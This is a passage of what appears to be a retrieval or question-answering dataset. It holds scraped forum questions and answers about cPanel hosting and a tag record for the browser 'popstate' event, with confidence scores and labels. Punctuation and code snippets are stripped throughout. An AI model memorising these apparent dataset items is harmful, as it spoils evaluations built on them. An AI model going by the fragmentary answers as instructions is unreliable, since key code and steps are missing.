suggest an alternative.. . Comment : @ahmedtabrez - redirect 301 cpanel your-site.com quot http : your-site.com quot", "Question : I am new to the world of website hosting especially in cPanel platform . I have a website which is developed using Python language which makes use of Django also . I have hosted this website in cPanel . But it doesn t seems to be working . When I browse my website domain www.def.com now it displays site.wsgi wsgi file file as such . I could know that by default CPanel doesn t support Django . Using SSH I have installed Django . But I am not sure how to configure the same . Would be good if I can get a step by step instructions on how to install and configure Django in cPanel . FYI This is a shared web-hosting server from GoDaddy and that too not a virtual Private server or doesn t have root access . How will host this site by using wsgi file . .. . Answer : Although it seems CPanel does not support Django apps out of the box google results lead me to believe it might be possible using a more manual method http : server-support.co blog sysadmin django-on-cpanel-server-for-shared-web-hosting . Additionally CPanel has this plugin for Django python installation http : applications.cpanel.net appcat admin-ahead-django-plugin-for-cpanel .. . .. . Please note that I have not tried any of the above but the latter seems more promising since it has been updated more recently 2015 as opposed to the 2011 blog entry . Comment : ok thanks reference was good.Can you please suggest me some hosting services where its is easy and cheaper to host a django website Comment : My own preference is to use a free hosting for projects under development and if the need arises pay for more . Both Amazon Web Services http : aws.amazon.com and Heroku https : devcenter.heroku.com articles getting-started-with-python introduction offer a free easy minimal hosting for your python django-apps and you can always pay up to scale it up .", "Question : Is there a sort of reliable way to programmatically create MySQL databases and MySQL users on shared Linux hosting plans from a PHP page For instance accessing cpanel or phpmyadmin through an API or hook if I know my cpanel access information and or my FTP information Occasionally I see this with some sites and products but don t know how they do it . Comment : How up to-date would that be right now .. . Answer : Giving shared user-permissions to do anything outside of cPanel seems to miss the point of using cPanel at all so I would suggest that they probably do not . Your cPanel access information and your FTP information have little to do with MySQL--cPanel uses a MySQL root-authorized user to add databases and users and unless cPanel exposes an API to do it I don t think it does and I don t think anyone sane would enable it on their shared-hosting if they did . Comment : It s all about automation . If you re wanting to make a product that connects to someone s cpanel with their permission and login info mind you and to automate some tasks for them . This is why it is used .", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : There are times you want to disable automatic to SSL connection while accessing WHM cPanel Webmail so you can access cPanel WHM via standard ports 2082 and 2086 this is pretty useful if you have SSL issue that s preventing you from loging into your server or cPanel account because it may unable to decrypt your stored password . Login to WHM Tweak Setting Uncheck the following options under Redirection .. . .. . Always redirect users to the ssl tls ports when visiting cpanel webmail etc . Also you have to uncheck the following option under Security in Tweak Settings . Require SSL for all remote logins to cPanel WHM and Webmail . This setting is recommended . If you are unable to login to WHM backend you can disable those options from the shell . SSH to the server as root . SSH to your server as root .. . .. . Open .. . .. . nano var cpanel cpanel.config and set the following options to 0 zero . - .. . .. . .. . .. . Save the file and exit .", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : From a similar discussion raised on cPanel s Forums - Changing cPanel URL 29 Nov 2010 http : forums.cpanel.net f185 changing-cpanel-url-176142.html : .. . .. . There is no way to change the port numbers for cPanel the WebHost Manager or Webmail . The port numbers are hard-coded into cPanel and there is no configuration option that allows them to be changed . .. . Even if you edit the httpd.conf file and change the ScriptAlias directives that cause cpanel webmail and whm to work they will still be accessible via ports 2082 2083 2095 2096 and 2086 2087 respectively . With application or package specific questions your best port of call is initially their own forums helpdesk rather than a general purpose community like StackOverflow .", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : Can t you use cpanel to put a redirect on the cpanel directory Not sure how to get around 2082 w o more privileges . Possibly your htaccess But really chill out on the cpanel . No one cares that you make your life easier by using cpanel . Most people do . The only people who are going to know are as you say developers . And guess what they use CPanel too . Comment : No that didn t work... . I am sorry.. . Comment : and thanks for the advice", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : this can be easily done with TCP PORT filtering blocking . Just filter out in iptables every 2082 may be even 2083 TCP IN and you will have your cpanel port blocked . You can reinstate it when needed adding an ALLOW directory to the same ports . Please tell me if you need further help .", "Question : I use cPanel for hosting my website . I have noticed that if anyone who visits my website happens to be a web developer he can always reach my cPanel Login page via mydomain.com : 2082 mydomain.com cpanel etc. . It is better to not let the visitors know what control panel I use . I want to disable these URLs . To myself log in to cpanel I will use the alternate URL provided by my Web Host which is something like a.myhost.com cpanel . As a work around I also changed the main domain and added my main website as an addon domain . But even that didn t work and addondomain.com : 2082 and addondomain.com cpanel showed up the cpanel login and I was able to login there using cpanel username and password . Please help me hide these pages from the public world . At least addondomain.com : 2082 or addondomain.com cpanel should throw a 404 preferable or 403 or anything . I use cPanel 11 x3 . Even my hosting provider is not able to help me with this . Anybody who know anything about this or implemented this please help me . Thanks in advance... . .. . Answer : I have the exact opposite problem I just linked my domain mtkroms.com to my blogger website but whenever I try to access mywebsite.com cpanel it redirects to my blogger blog with the 404 page not found : due to this I cannot setup subdirectories", "Question : null .. . Answer : I m using Elasticsearch in laravel-5.2 and I want to upload my site on a cpanel http : cpanel.com hosting.. . .. . .. . How can I use the elasticsearch in cpanel I can work with elasticsearch in localhost but i want to know if I upload my site to a cpanel host how i can use elastic search Any information you can provide me would be greatly appreciated", "Question : Is there a sort of reliable way to programmatically create MySQL databases and MySQL users on shared Linux hosting plans from a PHP page For instance accessing cpanel or phpmyadmin through an API or hook if I know my cpanel access information and or my FTP information Occasionally I see this with some sites and products but don t know how they do it . Comment : How up to-date would that be right now .. . Answer : Thanks to @Alex C who got me on the right track . The following will work with many shared-hosting plans but you ll want to check with their policies on this first . Mine wrote me back in a tech support ticket and said You have to automate through a cpanel script . So that s what this is . In the example below I would have already purchased root.com as my main root domain of my shared-hosting plan . I would be wanting to setup a database named user myexample with password myexample assigned with full privileges to user user myexamp . If the user prefix and myexamp looks odd -- it s because cpanel has a prefix based on the root user s user account into cpanel and the database user name can only be 7 characters maximum . To connect to Cpanel to make this happen I entered a cpanel homepage URL which varies with hosting plan so that it could be parsed and reused . Also I provided my root.com s cpanel user pass information . The echo statements are just the output response whether each HTTP GET request worked or not . You may want to inspect that to see if there s something you can parse out of that output for success failure . Note some hosting plans block file-get-contents connecting to a URL so you may have to switch with fopen sURL r or Curl API . Comment : How up to-date would that be right now", "Question : I had two domains on one hosting account managed by cpanel . During the second domain installation I opted to use root folder outside public html because the second site was going to have independent ftp administration not related to the one of the first domain at all . So I didn t want the files of the second site to be accessible in public html . That worked pretty well until the second domain expired and wasn t going to be renewed . However despite website isn t public already I want to have web access on it for testing and other purposes but it seems like cpanel doesn t allow subdomain directories outside public html . Is there a way to achieve that without having to migrate all subdomain files to public html and thus - making them accessible for the administrators on the main domain which is undesired Comment : Who is your host Comment : It is Bulgarian hosting provider Superhosting . Comment : It depends on your host if this is allowed but here s how to do it if it is possible : inmotionhosting.com support edu cpanel cpanel-manage-domains http : www.inmotionhosting.com support edu cpanel cpanel-manage-domains modify-addon-domain-document-root Comment : Isn t that for independent bought domain names If so it works for them . But I need to make a subdomain example : subdomain.maindomain.whatever extending the only remaining domain assigned to the account . Edit : Your example points public html as main folder too . .. . Answer : create folder out side www as for example hello . and in cpanel subdomains point that such as . . hello in Document Root", "Question : This may not even be possible but I m trying to figure out the URL of the main domain for an add-on domain . Lets say for example the site is at mymaindomain.com . .. . .. . If I go to .. . .. . I get nothing . That is because mymaindomain.com is an add-on domain for the hosting account . Lets say the primary domain on the account is myprimarydomain.com and this was the domain originally set up with the hosting account . However this domain is no longer valid and not being leased by the hosting client anymore . If I log in to cpanel using the old main domain by going to .. . .. . http : myprimarydomain.com cpanel or : 2082 or : 2083 .. . .. . I am able to get into cpanel . The problem is there must be a new main domain-name associated with this account but I don t know what it is . Is there any way to find this out given cpanel access to the account Is there any other way to find out what the primary domain is on the account Any help is much appreciated and bounty will be awarded promptly to the first correct answer . Comment : Thanks a lot Glad I could help : .. . Answer : Sorry my rep is too low to comment yet I was wondering if you are able to get the IP of your server once you are in cpanel . Should be on the right side . If so .. . can you go here and input the IP and tell me what the node hostname says Also ISP might help . getIP.com http : www.getIP.com Comment : Yeah I did I don t want to give out the domain-name on here but its not one I had previously . So should I just try to go to cpanel on that domain or is there something else I should do . Comment : Depending on what you needed the domain for you should be able to get to the cpanel login but your password may not work . Comment : Well cpanel didn t work but I was able to use my WHM login . Im suprised this was such a simple solution . You basically told me how to get the domain though which is what I was asking for so I ll award you the bounty . Thanks for the help :", "Question : I am trying to add a contact form to a website which posts the form-data to an email-address . It works fine with any other email registrants like gmail and yahoo. . but it doesnt work with emails with same domain-name eg : info@domain.com or support@domain.com . The same form was working fine with godaddy deluxe hosting but now that I have shifted to Godaddy CPanel linux hosting deluxe plan. . it doesnt work . Please go through the following code I am using and let me know what has to be changed . Your suggestions are greatly appreciated . Thanks in advance . FYI : Comment : Have you changed your code Edit : if you change plan and it doesn t work then i suggest you to change hoster . Comment : Do you have access to logs on the server Comment : @Ohgodwhy : Yes i have access .. . Answer : Should you or anybody encounter this error in the future a simple phone call to Go Daddy will solve this issue . By default Go Daddy s shared cPanel hosting is set to deliver local not remote . If you have your email set anywhere besides cPanel s internal email accounts the following test inside of your control panel will identify if you need to request remote email delivery : .. . .. . In the email section of the cPanel main page select the option Email Trace Type your domain email in the Recipient Email.. . box and select Run Report .. . .. . If the output reads Blackhole on the second line then you re configured for local delivery contact their hosting support department and request the change to remote delivery . You ll be up and running within a few minutes if you mention having performed this test prior to calling .", "Question : I am trying to add a contact form to a website which posts the form-data to an email-address . It works fine with any other email registrants like gmail and yahoo. . but it doesnt work with emails with same domain-name eg : info@domain.com or support@domain.com . The same form was working fine with godaddy deluxe hosting but now that I have shifted to Godaddy CPanel linux hosting deluxe plan. . it doesnt work . Please go through the following code I am using and let me know what has to be changed . Your suggestions are greatly appreciated . Thanks in advance . FYI : Comment : Have you changed your code Edit : if you change plan and it doesn t work then i suggest you to change hoster . Comment : Do you have access to logs on the server Comment : @Ohgodwhy : Yes i have access .. . Answer : Do you have you email configured on this domain . i.e . are you MX servers set locally or to another provider php mailer cPanel will not check external DNS for it s own domain unless you tell it to when sending mail it will simply send the mail to itself.. . If you are not configured locally on your server to receive mail then you will not get the email . Comment : My MX servers are set locally. . The email is configured on the same domain.. . Can you suggest any specific MX records that have to be changed Comment : If your MX records are set locally that this probably isn t the problem . Can you check your logs : var log exim mainlog . Comment : I am unable to find var log exim mainlog . in my filemanager in Godaddy . Can you help me locating this Comment : I have never used Godaddy for hosting . Do you get full access to the cPanel control panel You will probably need to SSH in to the server to get to that location.. . I have just checked and realised that you are on a shared hosing plan the name suggested it was a VPS or Dedicated server . I would suggest getting in contact with Godaddy support it could be that they have just not updated their DNS records when you upgraded or something went wrong.. .", "Question : null .. . Answer : I hosted my web php web application on Arvixe hosting . My site has been running fine for two months . I never made any changes to it . I got cpanel access . This morning when I access my site it is showing nothing and when I check the status code it returning 500 internal server error . So I logged into cpanel and tried to modify files using file-manager . When I check the permission all file permission is set to 640 . So I set them back to 755 . But it auto set back to 640 . I tried to modify a file error throws Could not write path . Read-only file system . I try access PhpMyadmin I cannot access to it . I contact to the service provider it is been 1 day . I search online for that error . Most articles say to install FSCK . So try to generate SSH key . It is saying I cannot generate key because of this error Could not write path . Read-only file system again . So please what is the error How can I solve the problem please I am newbie to hosting . Please help me . This is the only thing what Arvixe support ticket saying .. . .. . enter image description here http : i.stack.imgur.com sYDhe.png Comment : Open a support ticket to Arvixe hosting . They might actually need to regenerate your VPS so please make sure you have a good backup . Comment : They passed me a Ticket ID . And they say their senior will contact me from email after solved . Never contact . me . I contacted several times . Comment : We can t make them work faster and don t have access to their systems . Not a programming question anyway voting to close as off-topic . If you genuinely need help perhaps try Unix Linux http : unix.stackexchange.com or Server Fault http : serverfault.com but do check their posting guidelines first and if you do post you need precise error messages and other details : Comment : Same . It s a Cpanel question and server question ." ] }
[ "yes-answer-long", "yes-answer-short" ]
web
UNK_RELATION
popstate@dom@63
popstate -- use this tag for questions regarding the popstate @placeholder window event that is fired when the active history item changes and its related event handler onpopstate .
{ "confidence": [ 75.95174407958984, 63.13562774658203, 54.990623474121094, 54.990623474121094, 54.76859664916992, 52.867164611816406, 51.88614273071289, 51.62335968017578, 51.185462951660156, 50.49954605102539, 50.286720275878906, 48.36400604248047, 47.86463928222656, 47.86463928222656, 45.89203643798828, 45.83511734008789, 45.83140563964844, 45.83140563964844, 44.71616744995117, 44.71616744995117, 44.10503387451172, 43.96104049682617, 42.393524169921875, 42.38356018066406, 42.02960968017578, 41.721290588378906, 41.433441162109375, 41.26832580566406, 40.739418029785156, 40.59288024902344, 40.333431243896484, 39.875404357910156, 39.734012603759766, 39.370826721191406, 39.22568130493164, 39.220314025878906, 38.709434509277344, 38.667240142822266, 38.667240142822266, 38.667240142822266, 38.38700866699219, 38.03418731689453, 37.34758377075195, 37.330596923828125, 37.330596923828125, 37.0790901184082, 37.0790901184082, 37.0790901184082, 37.07047653198242, 37.07047653198242, 36.971473693847656, 35.955238342285156, 35.89459991455078, 35.78662872314453, 35.635284423828125, 35.383304595947266, 35.231136322021484, 35.20778274536133, 34.96516418457031, 34.941917419433594, 34.93441390991211, 34.55126953125, 34.55126953125, 33.97480010986328, 33.97480010986328, 33.97480010986328, 33.97480010986328, 33.97480010986328, 33.97480010986328, 33.89449691772461, 33.43505096435547, 32.82917404174805, 32.70955276489258, 32.638160705566406, 32.638160705566406, 32.39442443847656, 32.39442443847656, 32.138099670410156, 31.776607513427734, 31.372913360595703, 31.3370361328125, 31.26582145690918, 30.90857696533203, 30.63498306274414, 30.61550521850586, 29.793338775634766, 29.793338775634766, 29.793338775634766, 29.793338775634766, 29.793338775634766, 29.793338775634766, 29.506370544433594, 29.50027084350586, 29.482065200805664, 28.84722900390625, 28.750917434692383, 28.45669937133789, 28.45669937133789, 28.45669937133789 ], "content": [ "The popstate event is fired when the active history entry changes .", "I read about pop state : The popstate event is fired when the active history entry changes .", "window.addEventListener popstate function event .. . .. .", "A popstate event is triggered instead .", "Here s a simple example of pushState and popstate event : .. . .. . When triggering the popstate event it shows the url of the current page .", "window .on popstate function e .. . console.log fired instantly", "When the popstate event is fired on page load it will not have a state property in the event object .", "And why wouldn t that work assuming the popstate event was fired by changing the history and not a real pageload", "Is it not possible to prevent the popstate event of browser", "The problem is that when I navigate between pages and then click on back and forward button the popstate event of pagination is called not the popstate event of navigate between pages .", "Here i have created history using pushState so popstate event is fired which is expected .", "I want to detect the backbutton click event so am using window popstate event in jquery .", "Safari trigger a popstate event also when the page is actually loaded .", "When the browser first loads it always fires a popstate event .", "According to this documentation https : developer.mozilla.org en-US docs Web Events popstate the popstate event is not cancellable .", "According to the Documentation https : developer.mozilla.org en-US docs Web Events popstate the popstate event is .. . .. . only triggered by doing a browser action such as a click on the back button .. . .. . So I do not believe it will get triggered when user clicks forward and it varies in some browsers .. . .. . For reference here s the full text : .. . .. . The popstate event is fired when the active history entry changes .", "Preliminary analysis shows that the popstate event is now not firing on page-load - is this correct", "Or would I have to listen to the popstate event to get the correct content", ".. . Note that just calling history.pushState or history.replaceState won t trigger a popstate event .", ".. . Browsers tend to handle the popstate event differently on page load .", "There is a self-invoking function that parses the url and determines what to load and there is a popstate event handler inside it .", "you don t use popstate with a SPA .", ".. . .. . I m using this code to handle popstate : .. . .. . In this situation I have a popstate got", "My question is : .. . .. . How can I get the url of the previous page when triggering the popstate event in this case", "From https : developer.mozilla.org en-US docs Web Events popstate .. . .. . Note that just calling history.pushState or history.replaceState won t trigger a popstate event .", "I reloaded the site i use the window .on popstate function to check if a pushState is in the history .", "I m also using the HTML5 History API with pushstate and popstate .", "The method of intercepting the event popstate you have posted is not correct remove it from the method works off when clicked .", "what is the propose of if e.state null in onpopstate event function handler", "How can you detect route changes or popstate outside an ember app", "You get a popstate event only if you add one or more history entry entries and later the user clicks the back button in the browser .", "How would I store the variable outside of the popstate", "window .on popstate function e .. . .modal .modal hide .. . .. . .. . script", "Have you looked for popstate polyfills", "I know that there are many topics related to chrome and popstate event but after upgrading chrome to version 35 I encountered a new one .", "I don t see my popstate handler being invoked in between .", "This seems to solve my issue : stackoverflow.com questions 11092736 http : stackoverflow.com questions 11092736 window-onpopstate-event-state-null", "The popstate event is only triggered by doing a browser action such as a click on the back button or calling history.back in JavaScript .", "Chrome prior to v34 and Safari always emit a popstate event on page load but Firefox doesn t .", "popstate event-listener http : i.stack.imgur.com yeqlc.png .. . .. . Why isn t the alert message popping up", "In chrome the popstate is fired and I have to adjust the number of go-backs required due to pushStates I have already performed on the next popstate in order to get the back button to then go to the correct previous page .", "How do you catch the popstate", "I am trying to compare the popstate event s new url with the last visited URL that was in the window of the user .", "Everything should then work correctly without having to deal with the popState event being null .", "The popstate event is only triggered by doing a browser action such as a click on the back button or calling history.back in JavaScript .", "But how do I add the popstate function", ".. . var timer setTimeout function .. . console.log delayed popstate", "So you need to determine if this popstate is yours or not .", "I hope someone can help me understand more about using the history api and popstate .", "I m really wondering what the whole pushstate popstate advantage is other than history caching if the urls are not loadable browseable", "You might be able to find more useful information here http : stackoverflow.com questions 10742422 prevent-browser-scroll-on-html5-history-popstate .", "I m using pushstate and popstate to modify the browser-history for an ajax content loader code I ve written .", "Since I am storing a default state and page title in which to refer to when the popstate event is null it is being over written on a page reload .", "When the malformed home page appears my popstate listener is not present at all .", "However it should also work in older browsers which do not support the popstate https : developer.mozilla.org en-US docs Web Events popstate method .", "When browser s back forward button is clicked a popstate event is fired which I capture using .. . .. . The code above does proper Url changes however after execution of eventListener function the code snippet below reverts the Url to default Url i.e .", "Then on the popstate handler check the state object : .. . .. . Let me know if you need any more help :", "If the history entry being activated was created by a call to history.pushState or was affected by a call to history.replaceState the popstate event s state property contains a copy of the history entry s state object .", "I ve tried a few methods to see if I can create a cross-browser solution for delaying a popstate event but have not had any luck .", "drop down list http : i.stack.imgur.com F8qUK.png .. . .. . So I wrote the popstate function like this : .. . .. . To my understanding when the back button is pressed on the browser or the history.back javascript function is called it should trigger a popstate which I see in the developer s console s event-listeners in Chrome .", "define a variable outside then inside the popstate set the value of event.state to the variable and use it outside of the function", ".. . clearTimeout timer .. . 1000 .. . .. . .. . window .trigger popstate .. . .. . .. . script src https : ajax.googleapis.com ajax libs jquery 2.1.1 jquery.min.js script", "Thus the first click on back was taking the iframe back and not firing the top window popstate .", "I m trying to create AJAX navigation and running into issues with popState .", "conjunction between push-state and popstate is what I am missing .", "I struggle to find tutorial with ajax-popstate-and javascript not jQuery .", "Also popstate ir working fine but how to make forward button to work", "it seems that I have to click it twice for the popstate function to fire .", "A piece of my code : .. . .. . The pushstate .. . .. . The popstate .. . .. . What am i doing wrong", "But in my popstate handler I am not seeing the targetId tabSelected attributes on the object event.originalEvent.state .", "I am trying to populate the index of the currently selected tab using .. . .. . I have a handler to the popstate event in jquery which programmatically switches the jquery-ui-tabs .", "But when You go to detail page of item in listing - standard request whole page is reloaded - then press back button on browser You can see a listing page in position where You last clicked an item but then popstate is triggered and I don t talk here about chrome popstate on initial page loads cause in version 34 popstate is no longer triggered on init and because of code which I mentioned earlier to handle categories whole page is reloaded .", "I also would like to have these 3 functions shortened down and I will-change my onclicks to click-event when I can get this popstate working :", "I am able to get history.pushState working but have issues with popstate .", "On popstate I grab the previous central part and push it back into the dom .", "BUT when you for example want to go back twice the first popstate returns the last page perfectly .", "I also am able to get the content to refresh when the back forward buttons are clicked with the popstate function .", "The popstate will then use that state for navigating back and forward between the ajax pages in that html page .", "For instance to detect if an initial onpopstate was run : .. . .. . So from this I gather that setting up your onpopstate callbacks after 150ms of the browser s DOM ready event will skip chrome s initial onpopstate .", "I see it null by putting break point on pop state event : .. . .. . When i put break point on first line of popstate which gets called on browser back i see on my console : window.history.state as null .", "This allows you to check if the event is fired for a page load or not .", "I m using one of the jQuery tickers within my new project and pages are loaded using the HTML5 History API pushState and popState .", "To me this seems almost like it would be popstate in reverse...or maybe I am just NOT getting it .", "You can overwrite popState and replaceState but what is generally a better idea is to create a wrapper which sets the url and then triggers your handler function .", "Is there some way to force Firefox to clear the cache and trigger the popstate when the back button or exit button is selected from the product detail page", "Console gives the following message : .. . .. . Uncaught TypeError : Cannot read property url of null .. . .. . This is my first experience with popstate .", "The code works fine with the exception of the popstate code which work in every browser except Safari 7+ .", "So what is the easiest way to handle different hash states of a website without using popstate", "I guess I need to link the popstate in the ajaxfuntion also somehow. . .. . .. . 2nd question not that important thou .", "Popstate back button works like expected it hides appeared id s and replace URL to previous .", "I commented out the popstate listener and was still getting the multiple states being created .", "So the problem is that chrome 35 triggers popstate event after we press back button and my question is : .. . .. . How to detect that this event is triggered after user came back from detail page to my listing page to not reloading this one .", "sorry the console part of it was probably confusing - to clarify what I am looking for is a way to delay the actual loading of the next page when popstate is triggered .", "However the popstate event objects appear to be identical for both types of navigation -- is there any way to differentiate between these two types of user navigations so we can respond accordingly", "See https : developer.mozilla.org en-US docs Web Guide API DOM Manipulating the browser-history .. . .. . Exceptions to the above : .. . .. . of course older browsers doesn t support popstate events and manipulating browser s history .", "If I remember correctly popping a state from the history stack is a specific window event that you can and probably should alter in some way to accommodate for any custom history state changes you re making on your website .", "If a user closes the tab without closing the print dialog the hashchange and popstate events do not fire anymore in the Backbone.History object .", "For some reason the http.get function only fires on every second popstate and then it makes two calls .", "So I set a shouldAnimate flag and disable it on touchmove -- then if the flag is disabled and the popstate occurs I know it s an edge swipe ." ] }
{ "confidence": [ 86.6307601928711, 82.53329467773438, 74.79965209960938, 68.85511779785156, 68.15774536132812, 67.6874771118164, 64.44377899169922, 61.25151824951172, 59.52144241333008, 59.1185417175293, 57.802616119384766, 57.75307083129883, 55.72320556640625, 55.13890075683594, 54.37760925292969, 53.95165252685547, 53.66872024536133, 52.93502426147461, 52.022525787353516, 51.26004409790039 ], "content": [ "Question : I ve tried a few methods to see if I can create a cross-browser solution for delaying a popstate event but have not had any luck . Anyone have any ideas or thoughts Below obviously does not work but something to the effect of : .. . .. . So the flow would follow this sequence : .. . .. . Browser back or forward button clicked .. . run initial code .. . A delay before the page changes .. . page change Comment : And why wouldn t that work assuming the popstate event was fired by changing the history and not a real pageload Comment : It should work - are you including jquery in your page before you use your code Comment : sorry the console part of it was probably confusing - to clarify what I am looking for is a way to delay the actual loading of the next page when popstate is triggered . I ll update the example . .. . Answer : According to the Documentation https : developer.mozilla.org en-US docs Web Events popstate the popstate event is .. . .. . only triggered by doing a browser action such as a click on the back button .. . .. . So I do not believe it will get triggered when user clicks forward and it varies in some browsers .. . .. . For reference here s the full text : .. . .. . The popstate event is fired when the active history entry changes . If the history entry being activated was created by a call to history.pushState or was affected by a call to history.replaceState the popstate event s state property contains a copy of the history entry s state object . .. . Note that just calling history.pushState or history.replaceState won t trigger a popstate event . The popstate event is only triggered by doing a browser action such as a click on the back button or calling history.back in JavaScript . .. . Browsers tend to handle the popstate event differently on page load . Chrome prior to v34 and Safari always emit a popstate event on page load but Firefox doesn t . UPDATED ANSWER ABOVE .. . .. . del Your code works . see below - I added an element to trigger the event you can see the results in the console del .. . .. . Make sure you include the jQuery library on your HTML prior to using it though . window .on popstate function e .. . console.log fired instantly .. . var timer setTimeout function .. . console.log delayed popstate .. . clearTimeout timer .. . 1000 .. . .. . .. . window .trigger popstate .. . .. . .. . script src https : ajax.googleapis.com ajax libs jquery 2.1.1 jquery.min.js script Comment : thanks for the example - I updated my example for clarity any thoughts Comment : The popstate event is fired when the active history entry changes . - this is what I am looking to delay -- before the page change", "Question : I know that there are many topics related to chrome and popstate event but after upgrading chrome to version 35 I encountered a new one . This is the case : .. . .. . I ve got a listing page with categories and filters after You choose category page etc . content is reloaded via ajax and everything is handled by history API which works fine . But when You go to detail page of item in listing - standard request whole page is reloaded - then press back button on browser You can see a listing page in position where You last clicked an item but then popstate is triggered and I don t talk here about chrome popstate on initial page loads cause in version 34 popstate is no longer triggered on init and because of code which I mentioned earlier to handle categories whole page is reloaded . So the problem is that chrome 35 triggers popstate event after we press back button and my question is : .. . .. . How to detect that this event is triggered after user came back from detail page to my listing page to not reloading this one . .. . .. . I try with document object referrer etc . but when it looks like solution on first time there was always the case-when it doesn t work . .. . Answer : I ve been running into this problem . My solution is a bit of a hack but it seems to work pretty well otherwise . I ve found that waiting 150ms before setting up my onpopstate handlers is enough to wait for Chrome to run its initial onpopstate handlers which you can use to your advantage . For instance to detect if an initial onpopstate was run : .. . .. . So from this I gather that setting up your onpopstate callbacks after 150ms of the browser s DOM ready event will skip chrome s initial onpopstate .", "Question : null .. . Answer : I store window.history.state on a button click by using push state method . It is not null until i click browser back . But when i click on browser back window.history.state become null . I see it null by putting break point on pop state event : .. . .. . When i put break point on first line of popstate which gets called on browser back i see on my console : window.history.state as null . I read about pop state : The popstate event is fired when the active history entry changes . If the history entry being activated was created by a call to history.pushState or was affected by a call to history.replaceState the popstate event s state property contains a copy of the history entry s state object . Here i have created history using pushState so popstate event is fired which is expected . But why do i see it as null I put breakpoint on all lines calling pushState and replaceState methods but none gets triggered during browser back . What are other function lines that could potentially change the window.history.state", "Question : null .. . Answer : I am trying to populate the index of the currently selected tab using .. . .. . I have a handler to the popstate event in jquery which programmatically switches the jquery-ui-tabs . This works fine and the browser and I am able to switch between tabs using back and forward buttons . Also works with two layers of tabs . But in certain cases I want to push additional state to the stack . So I do the following : .. . .. . content looks good before and after I push it on the history . Checked with console.log history.state Also tried checking in chrome console . But in my popstate handler I am not seeing the targetId tabSelected attributes on the object event.originalEvent.state . I am seeing the correct value of tabSelected on the object but for some reason I am seeing a trimmed down state . Checked in both Chrome and Firefox . Cannot get the correct content . Any ideas what could be wrong Thanks in advance . Update .. . .. . Also tried incrementing a global variable on every pushstate and adding it to the state . It turns out that for the particular case I am mentioning the global variable goes to a value 48 instead of 49 implying it is picking up the last but one event . I don t see my popstate handler being invoked in between . No idea what is going on . Another Update .. . .. . When I call history.pushState content null twice it works fine . only in one place at the other place I am still calling it once . It looks like for some reason the browser is returning the last but one state . Apparently there is something wrong with my code as this workaround works in both chrome and firefox . Comment : This seems to solve my issue : stackoverflow.com questions 11092736 http : stackoverflow.com questions 11092736 window-onpopstate-event-state-null", "Question : I got a simple code when users are filtering brands categories etc. . Everything works as it should . BUT when you for example want to go back twice the first popstate returns the last page perfectly . But when you go back again it still returns the last page so it loads it again . And not the page before that one . A piece of my code : .. . .. . The pushstate .. . .. . The popstate .. . .. . What am i doing wrong Thanks in advance Comment : what is the propose of if e.state null in onpopstate event function handler Comment : Safari has the urge to call onpopstate when the page is fully loaded . So to prevent that i check if the state has been defined . .. . Answer : I solved this problem . Every time i went back it also pushed the current page . So i went back and the same page was pushed in history resulting in endless reloading of that certain page . TL DR check double check triple check how your code walks through the lines .", "Question : null .. . Answer : I am trying to compare the popstate event s new url with the last visited URL that was in the window of the user . I thought this would be simple using event.state but I can only seem to access this object from inside onpopstate and nothing else . Perhaps I am doing something wrong but scouring documentation for 3 days redeems nothing . Quite simple what I m trying to do : .. . .. . I am using history.pushState and history.replaceState to set the event object at various places but again would like to get this object anywhere I want to access it s data . Comment : have you tried storing it in a variable Comment : How would I store the variable outside of the popstate Comment : define a variable outside then inside the popstate set the value of event.state to the variable and use it outside of the function Comment : Thanks combining your suggestion with an array inside an object and unshift I have managed to build a solution . If you would like to post your comment as a reply I can tag-it as an answer . Comment : I m glad it helped but it is more of a comment I d rather not to post it as an answer", "Question : I m working on a site that serves content via AJAX . If you click an item in the menu a content div gets updated with .get response nothing fancy . I m implementing history.pushState to allow navigation with the browser s back forward button . I have the following to load content on history 